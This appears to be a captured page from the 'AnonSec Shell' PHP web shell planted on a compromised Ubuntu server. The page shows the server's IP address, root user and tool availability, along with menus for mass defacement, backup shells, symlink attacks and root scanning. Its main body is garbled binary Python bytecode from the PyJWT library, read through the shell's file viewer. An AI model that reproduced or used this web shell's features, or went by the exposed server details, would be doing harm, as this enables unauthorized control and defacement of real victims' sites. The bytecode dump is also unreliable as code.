AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/jwt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/jwt/__pycache__/api_jws.cpython-310.pyc
o

K�jar�@s�ddlZddlZddlmZddlmZmZmZmZm	Z	ddl
mZmZm
Z
mZddlmZmZmZmZddlmZmZGdd	�d	�Ze�ZejZejZejZejZejZejZdS)
�N)�Mapping)�Any�Dict�List�Optional�Type�)�	Algorithm�get_default_algorithms�
has_crypto�requires_cryptography)�DecodeError�InvalidAlgorithmError�InvalidSignatureError�InvalidTokenError)�base64url_decode�base64url_encodec
@seZdZdZd(dd�Zedd��Zdd�Zd	d
�Zdd�Z		
		d)de
dedeedee
deeejdefdd�Z			d*dededeede
de
eeff
dd�Z			d*dededeede
def
dd�Zdd�Zd d!�Z		d+d"d#�Zd$d%�Zd&d'�ZdS),�PyJWS�JWTNcCslt�|_|durt|�nt|j�|_t|j���D]}||jvr$|j|=q|dur+i}i|���|�|_dS)N)r
�_algorithms�set�_valid_algs�list�keys�_get_default_options�options)�self�
algorithmsr�key�r�-/usr/lib/python3/dist-packages/jwt/api_jws.py�__init__s�
�zPyJWS.__init__cCsddiS)N�verify_signatureTrrrrr r'szPyJWS._get_default_optionscCs>||jvr	td��t|t�std��||j|<|j�|�dS)zW
        Registers a new Algorithm for use when creating and verifying tokens.
        z Algorithm already has a handler.z!Object is not of type `Algorithm`N)r�
ValueError�
isinstancer	�	TypeErrorr�add)r�alg_id�alg_objrrr �register_algorithm+s


zPyJWS.register_algorithmcCs*||jvr	td��|j|=|j�|�dS)z�
        Unregisters an Algorithm for use when creating and verifying tokens
        Throws KeyError if algorithm is not registered.
        zJThe specified algorithm could not be removed because it is not registered.N)r�KeyErrorr�remove)rr'rrr �unregister_algorithm8s
�zPyJWS.unregister_algorithmcCs
t|j�S)zM
        Returns a list of supported values for the 'alg' parameter.
        )rr)rrrr �get_algorithmsFs
zPyJWS.get_algorithms�HS256�payloadr�	algorithm�headers�json_encoder�returnc
Csg}|durd}|rd|vr|dr|d}|j|d�}|r/|�|�|�|�|ds/|d=tj|d|d���}|�t|��|�t|��d�|�}	z|j	|}
|
�
|�}|
�|	|�}Wnty|}zt
ss|tvrstd|�|�td	�|�d}~ww|�t|��d�|�}
|
�d
�S)N�none�alg)�typr5r6)�,�:)�
separators�cls�.zFAlgorithm '%s' could not be found. Do you have cryptography installed?�Algorithm not supported�utf-8)�
header_typ�_validate_headers�update�json�dumps�encode�appendr�joinr�prepare_key�signr*rr�NotImplementedError�decode)rr/rr0r1r2�segments�header�json_header�
signing_inputr(�	signature�e�encoded_stringrrr rCLsL

��


���
��	

zPyJWS.encode��jwtrrcKsf|duri}i|j�|�}|d}|r|std��|�|�\}}	}
}|r-|�|	|
|||�||
|d�S)Nr"z\It is required that you pass in a value for the "algorithms" argument when calling decode().)r/rKrN)rr
�_load�_verify_signature)rrRrrr�kwargs�merged_optionsr"r/rMrKrNrrr �decode_complete�s��zPyJWS.decode_completecKs |j||||fi|��}|dS)Nr/)rW)rrRrrrrU�decodedrrr rI�szPyJWS.decodecCs|�|�d}|�|�|S)z�Returns back the JWT header parameters as a dict()

        Note: The signature is not verified so the header parameters
        should not be fully trusted until signature verification is complete
        �)rSr?)rrRr1rrr �get_unverified_header�s
zPyJWS.get_unverified_headerc
Csjt|t�r
|�d�}t|t�stdt����z|�dd�\}}|�dd�\}}Wnty9}ztd�|�d}~wwzt|�}Wnt	t
jfyT}ztd�|�d}~wwzt�
|�}Wntyo}	ztd|	�|	�d}	~	wwt|t�sytd��zt|�}
Wnt	t
jfy�}ztd	�|�d}~wwzt|�}Wnt	t
jfy�}ztd
�|�d}~ww|
|||fS)Nr=z$Invalid token type. Token must be a r;rzNot enough segmentszInvalid header paddingzInvalid header string: %sz,Invalid header string: must be a json objectzInvalid payload paddingzInvalid crypto padding)r$�strrC�bytesr
�rsplit�splitr#rr%�binascii�ErrorrA�loadsr)rrRrM�crypto_segment�header_segment�payload_segment�err�header_datarKrOr/rNrrr rS�sL



��
����

��
��zPyJWS._loadc	
Csv|�d�}|dur||vrtd��z|j|}|�|�}|�|||�s'td��WdSty:}ztd�|�d}~ww)Nr5z&The specified alg value is not allowedzSignature verification failedr<)�getrrrF�verifyrr*)	rrMrKrNrrr5r(rOrrr rT�s
	

�
��zPyJWS._verify_signaturecCsd|vr
|�|d�dSdS)N�kid)�
_validate_kid)rr1rrr r?�s�zPyJWS._validate_headerscCst|t�s	td��dS)Nz(Key ID header parameter must be a string)r$r[r)rrirrr rj�s
�zPyJWS._validate_kid)NN)r.NN)rQNN)rQN)�__name__�
__module__�__qualname__r>r!�staticmethodrr)r,r-r\r[rrrrA�JSONEncoderrCrrrWrIrZrSrTr?rjrrrr rsv



������
�:�����

� �����
�+
�r)r_rA�collections.abcr�typingrrrrrrr	r
rr�
exceptionsr
rrr�utilsrrr�_jws_global_objrCrWrIr)r,rZrrrr �<module>s i


Anon7 - 2022
AnonSec Team